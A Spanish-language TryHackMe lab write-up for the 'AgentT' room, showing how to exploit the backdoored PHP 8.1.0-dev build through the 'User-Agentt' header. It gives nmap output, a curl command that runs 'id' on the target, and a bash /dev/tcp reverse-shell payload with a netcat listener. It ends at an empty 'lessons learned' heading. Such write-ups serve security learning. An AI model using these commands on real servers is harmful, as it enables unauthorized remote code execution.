TryHackMe Easy Linux Web RCE

AgentT

PHP 8.1.0-dev backdoor mediante el header User-Agentt para obtener RCE directo en el servidor.

Dic 2022 ~20 min cat4clysm
Herramientas utilizadas
nmap curl netcat

Reconocimiento

Escaneo inicial — solo el puerto 80 abierto corriendo PHP CLI server.

root@kali:~$
nmap -sC -sV -p 80 10.10.23.197
PORT   STATE SERVICE VERSION
80/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title: Admin Dashboard
PHP 8.1.0-dev — versión de desarrollo con backdoor en el header User-Agentt que permite ejecución remota de comandos.

Explotación

Esta versión de PHP tiene un backdoor que evalúa el valor del header User-Agentt como código PHP con zerodiumvar_dump().

root@kali:~$
curl -s http://10.10.23.197 -H "User-Agentt: zerodiumsystem('id');"
uid=1000(fox) gid=1000(fox) groups=1000(fox)

Tenemos RCE. Lanzamos una reverse shell:

root@kali:~$
nc -lvnp 4444
root@kali:~$
curl -s http://10.10.23.197 -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/LHOST/4444 0>&1\"');"

Lecciones aprendidas